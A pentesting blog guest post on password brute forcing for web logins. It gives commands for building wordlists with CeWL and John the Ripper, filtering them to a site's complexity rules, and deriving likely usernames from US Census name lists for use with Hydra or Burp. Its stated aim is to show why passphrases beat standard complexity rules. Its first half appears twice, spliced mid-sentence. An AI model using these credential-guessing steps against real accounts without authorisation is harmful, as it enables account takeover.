Another great guest post from Dennis Antunes:
In Part 1 of this series, I barely scratched the surface of password brute forcing.
In this post I hope to go beyond the basics and demonstrate some approaches I use to significantly increase the quality of my tests as well as my chances of success.
Success?
Everyone measures success differently, but hopefully some of you will consider success using these techniques to convey the importance to your developers, customers, bosses, friends, spouses, etc. of selecting strong passwords for web-based authentication mechanisms. I am not talking simply about complexity, length, and so forth, although they of course help. Rather, I am referring to the quality of the password, something that is more difficult, but not impossible to enforce.
An example: Your password policy states you must use 3 out of the 4 of the following: upper, lower, numeric or special, and it must be at least 8 characters.
Password33 meets this requirement as does MhaLlwfl3z, but one is much more secure. How much, not sure, but practically speaking way more. I know in a pen test I will try Password33 against any and all your user accounts every time (and so would a script kiddie). The second one though? 9 seemingly unrelated characters? Doubtful.
Now, the second password is a take on a commonly known phrase (free gift to the first correct guesser). Extremely easy for me to remember, but hard for you to guess. Can it be guessed in an all-out brute force? Definitely, but hopefully I have other compensating controls in place: account lockout, IPS, admins with a clue, etc.
Its in the Dictionary, Stupid.
My point is, if you MUST rely upon only user name and password, you need to ensure your users are choosing passwords that are not easily guessable. Far better to use a non-dictionary word or a pass phrase. For example, I personally like to use song lyrics of my favorite artists, like this one: IlUoUlm33
Give up? Yes its Barney, a take on the epic "I love you, you love me" opus. See it now? Unforgettable, complex, simple and disturbing all at the same time.
Generating (supposedly) Complex Passwords For Cracking
Now starting with a decent password list, like RockYou's worst 500 (RY500 from here on out) mentioned in Part 1, I like to do a few things:
What cool is: CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper. Taken from http://www.digininja.org/projects/cewl.php.
That pretty much sums it up. Basically creates a nice list of words after crawling the site of your target. You can download it here. Be sure to read through the dependencies, documentation and usage examples as there a a couple gotchas.
Mangling w/ JTR
Next we need to mangle our expanded list with JTR. The default mangling rules included with john are nice, but Matt Weir has done great job of expanding on these, which is helpful, consider john's rule writing syntax at first can seem a bit arcane. Download his john_manglingrules.conf, backup your own john.conf and replace it with Matt's improved version.
I suggest you carefully read through Matt's file, do some experimentation with some short password lists and tweak as necessary. For example, his file appends 4 numerics to each password. This can result in a huge number of passwords, which may or may not be desired. You can edit his file before mangling or you can always do some post-processing or trimming later as needed.
Matching complexityIn Part 1 of this series, I barely scratched the surface of password brute forcing.
In this post I hope to go beyond the basics and demonstrate some approaches I use to significantly increase the quality of my tests as well as my chances of success.
Success?
Everyone measures success differently, but hopefully some of you will consider success using these techniques to convey the importance to your developers, customers, bosses, friends, spouses, etc. of selecting strong passwords for web-based authentication mechanisms. I am not talking simply about complexity, length, and so forth, although they of course help. Rather, I am referring to the quality of the password, something that is more difficult, but not impossible to enforce.
An example: Your password policy states you must use 3 out of the 4 of the following: upper, lower, numeric or special, and it must be at least 8 characters.
Password33 meets this requirement as does MhaLlwfl3z, but one is much more secure. How much, not sure, but practically speaking way more. I know in a pen test I will try Password33 against any and all your user accounts every time (and so would a script kiddie). The second one though? 9 seemingly unrelated characters? Doubtful.
Now, the second password is a take on a commonly known phrase (free gift to the first correct guesser). Extremely easy for me to remember, but hard for you to guess. Can it be guessed in an all-out brute force? Definitely, but hopefully I have other compensating controls in place: account lockout, IPS, admins with a clue, etc.
Its in the Dictionary, Stupid.
My point is, if you MUST rely upon only user name and password, you need to ensure your users are choosing passwords that are not easily guessable. Far better to use a non-dictionary word or a pass phrase. For example, I personally like to use song lyrics of my favorite artists, like this one: IlUoUlm33
Give up? Yes its Barney, a take on the epic "I love you, you love me" opus. See it now? Unforgettable, complex, simple and disturbing all at the same time.
Generating (supposedly) Complex Passwords For Cracking
Now starting with a decent password list, like RockYou's worst 500 (RY500 from here on out) mentioned in Part 1, I like to do a few things:
- Run CeWL and concatenate w/ RY500
- Mangle the expanded RY500 w/ JTR
- Run a custom script based on the site's complexity rules for efficiency's sake.
What cool is: CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper. Taken from http://www.digininja.org/projects/cewl.php.
That pretty much sums it up. Basically creates a nice list of words after crawling the site of your target. You can download it here. Be sure to read through the dependencies, documentation and usage examples as there a a couple gotchas.
./cewl.rb <target_domain> -w <outfile> cat <outfile> RY500 > RY500_expanded
Mangling w/ JTR
Next we need to mangle our expanded list with JTR. The default mangling rules included with john are nice, but Matt Weir has done great job of expanding on these, which is helpful, consider john's rule writing syntax at first can seem a bit arcane. Download his john_manglingrules.conf, backup your own john.conf and replace it with Matt's improved version.
I suggest you carefully read through Matt's file, do some experimentation with some short password lists and tweak as necessary. For example, his file appends 4 numerics to each password. This can result in a huge number of passwords, which may or may not be desired. You can edit his file before mangling or you can always do some post-processing or trimming later as needed.
john --rules --wordlist=RY500_expanded --stdout > RY500_mangled
Next, we'll then use a small python script to grep through the results with a gnarly regex to generate a nice list of "complex" passwords according to our configuration. Grab my script here. It really just conceptual. You'll need to tweak it to match the password complexity rules of your site to elimate wasted login attempts.
Running:
./password_complexity_matcher.py RY500_mangled...will generate a file called complexity_matches.
The Census made me do it
Circling back, you say, "Even though my passwords are lame, you still don't have my user accounts." To which I reply, "Uh, yes I (probably) do."
That brings me to another important point. User names should also have complexity rules and ideally not be based entirely upon the user's actual name.
You see, most companies like to use some variation of your actual name: first initial/last, first name/last, last name/first initial, etc.
If this is your company, and it is of any significant size, thanks to the US Census, I most likely have a significant portion of your user names too.
Taking the lists from the census, and using just the top 100 male and female names interleaved, combined with the top 100 last names results in a boat load of common names, 10K to be exact. Names like...
JAMES SMITH MARY SMITH JOHN SMITH PATRICIA SMITH ROBERT SMITH LINDA SMITH ....... JAMES JOHNSON MARY JOHNSON JOHN JOHNSON PATRICIA JOHNSON ROBERT JOHNSON LINDA JOHNSON
...start to emerge
Once you have a nice list of very common names, you can again turn to custom python scripts to generate a variety of formats, add email addresses, etc. to your user names very simply. Better of course if you already know the format, which is probable in a gray box test or if there is a self-registration function. Combine these names with the complex password list we generated with JTR and I am sure you can appreciate the potential.
Fire up Burp, Hydra, or your own custom scripts and have a party.
In Summary
- Use these techniques to convince your bosses/developers/friends how lame standard complexity rules can be
- Urge them to use passphrases as they are far stronger and much more fun
- Consider using obscure usernames, not entirely built on the user's actual name
- The US Census is your friend
- If you find this blog entry helpful, kindly buy myself, Robin Wood, and Matt Weir a beer.
Before you register email me at stratmofo at gmail dot com for a special discount code!
